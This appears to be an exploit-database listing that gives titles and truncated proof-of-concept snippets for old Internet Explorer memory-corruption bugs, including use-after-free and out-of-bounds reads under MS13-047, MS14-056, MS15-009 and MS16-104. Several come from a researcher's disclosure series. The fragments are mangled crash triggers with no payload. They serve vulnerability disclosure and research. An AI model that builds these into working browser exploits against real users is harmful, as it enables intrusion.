Microsoft Internet Explorer 8 - MSHTML SRun­Pointer::Span­QualifierRun­Type Out-Of-Bounds Read (MS15-009)

Microsoft Internet Explorer 8 - MSHTML SRun­Pointer::Span­QualifierRun­Type Out-Of-Bounds Read MS15-009 position­fixed position: fixed; position­relative position: relative; float­left float: left; complex float: left; width: 100%; complex:first-line clear: left; window.onload = function boom...

Microsoft Internet Explorer 10 - MSHTML CEdit­Adorner::Detach Use-After-Free (MS13-047)

Microsoft Internet Explorer 10 - MSHTML CEdit­Adorner::Detach Use-After-Free MS13-047 var o­Window = window.open"window.xhtml"; set­Intervalfunction try o­Window.eval"" + function document.design­Mode = "on"; document.exec­Command"Select­All"; var o­Selection = window.get­Selection;...

Microsoft Internet Explorer 10 - MSHTML 'CEdit­Adorner::Detach' Use-After-Free (MS13-047)

var o­Window = window.open"window.xhtml"; set­Intervalfunction try o­Window.eval"" + function document.design­Mode = "on"; document.exec­Command"Select­All"; var o­Selection = window.get­Selection; o­Selection.collapsedocument,1; document.exec­Command"Insert­Image", false;...

Microsoft Internet Explorer 11 - MSHTML 'CGenerated­Content::Has­Generated­SVGMarker' Type Confusion

window.onload = function document.get­Elements­By­Tag­Name"iframe"0.src = "repro-iframe.html"; Description Internally MSIE uses various lists of linked CTree­Pos objects to represent the DOM tree. For HTML/SVG elements a CTree­Node element is created, which embeds two CTree­Pos instances: one tha...

Microsoft Internet Explorer 8 - MSHTML 'SRun­Pointer::Span­Qualifier/Run­Type' Out-Of-Bounds Read (MS15-009)

position­fixed position: fixed; position­relative position: relative; float­left float: left; complex float: left; width: 100%; complex:first-line clear: left; window.onload = function boom o­Element­float­left = document.create­Element'float­left'; o­Element­complex =...

Microsoft Internet Explorer 10 MSHTML CEditAdorner::Detach Use-After-Free

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the nineteenth entry in that series. Unfortunately I won't be able to publish everything within one month at the current rate, so I may continue to publish these throu...

Microsoft Internet Explorer 8 8 MSHTML SRunPointer::SpanQualifier/RunType Out-Of-Bounds Read

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the sixteenth entry in that series. Unfortunately I won't be able to publish everything within one month at the current rate, so I may continue to publish these throug...

Microsoft Internet Explorer 11 - MSHTML CMap­Element::Notify Use-After-Free (MS15-009)

Microsoft Internet Explorer 11 - MSHTML CMap­Element::Notify Use-After-Free MS15-009 Element::Notify functions to make another such call and at least one of these functions is non-reentrant. This can have various repercussions, e.g. when an attacker triggers this vulnerability using a CMap­Elemen...

Microsoft Internet Explorer 11 MSHTML CMapElement::Notify Use-After-Free

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the tenth entry in that series. The below information is available in more detail on my blog at http://blog.skylined.nl/20161114001.html. Follow me on...

Microsoft Internet Explorer 9-11 MSHTML - PROPERTYDESC::Handle­Style­Component­Property Out-of-Bound

Exploit for windows platform in category dos / poc // This Po­C attempts to exploit a memory disclosure bug in Microsoft Internet // Explorer 11. On x64 systems, this should cause an access violation when // run with page-heap enabled, as the code attempts to read a byte // immediately following ...

Microsoft Internet Explorer 11/10/9 - MSHTML 'PROPERTYDESC::Handle­Style­Component­Property' Out-of-Bounds Read (MS16-104)

// This Po­C attempts to exploit a memory disclosure bug in Microsoft Internet // Explorer 11. On x64 systems, this should cause an access violation when // run with page-heap enabled, as the code attempts to read a byte // immediately following a 4 byte memory block. // See...

Internet Explorer 9 MSHTML - CPtsTextParaclient::CountApes Out-of-Bounds Read

Microsoft Internet Explorer 9 suffers from a MSHTML CPtsTextParaclient::CountApes out-of-bounds read vulnerability. Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the third entry in that series. The below informati...

Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read

Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read oElement1 position: absolute; oElement2:after position: relative; content: counterx; onload = function oElement1 = document.createElement'oElement1'; document.documentElement.appendChildoElement1; oElement2 =...

Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read

oElement1 position: absolute; oElement2:after position: relative; content: counterx; onload = function oElement1 = document.createElement'oElement1'; document.documentElement.appendChildoElement1; oElement2 = document.createElement'oElement2'; document.documentElement.appendChildoElement2; ; !--...

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free Exploit

Exploit for windows platform in category dos / poc var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement; !-- Exploit I tried a few tricks ...

Microsoft Internet Explorer 11 MSHTML CView::CalculateImageImmunity Use-After-Free

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the second entry in that series. The below information is also available on my blog at http://blog.skylined.nl/20161102001.html. There you can find a repro that...

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement;...

Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free (MS14-056)

Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free MS14-056 oTextArea = document.createElement'textarea'; oTextArea.dataSrc = 1; oTextArea.id = 1; oTextArea.innerHTML = 1; oTextArea.onvolumechange = 1; oTextArea.style.setProperty'list-style', "url"; !-- Analysis The CAttrArray objec...

Microsoft Internet Explorer 9 MSHTML CAttrArray Use-After-Free

Exploit for windows platform in category dos / poc Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the first entry in that series. The below information is also available on my blog at...

Microsoft Internet Explorer 11.0.9600.18482 - Use After Free

No description provided by source. body background-color:lime; font-color:red; ; / Exploit Title: Internet Explorer 11 Use After Free Date: 05/09/2016 - 11/09/2016 Exploit Author: Marcin Ressel Vendor Homepage: https://www.microsoft.com/pl-pl/ Version: 11.0.9600.18482 Tested on: Windows 7 x64 0:0...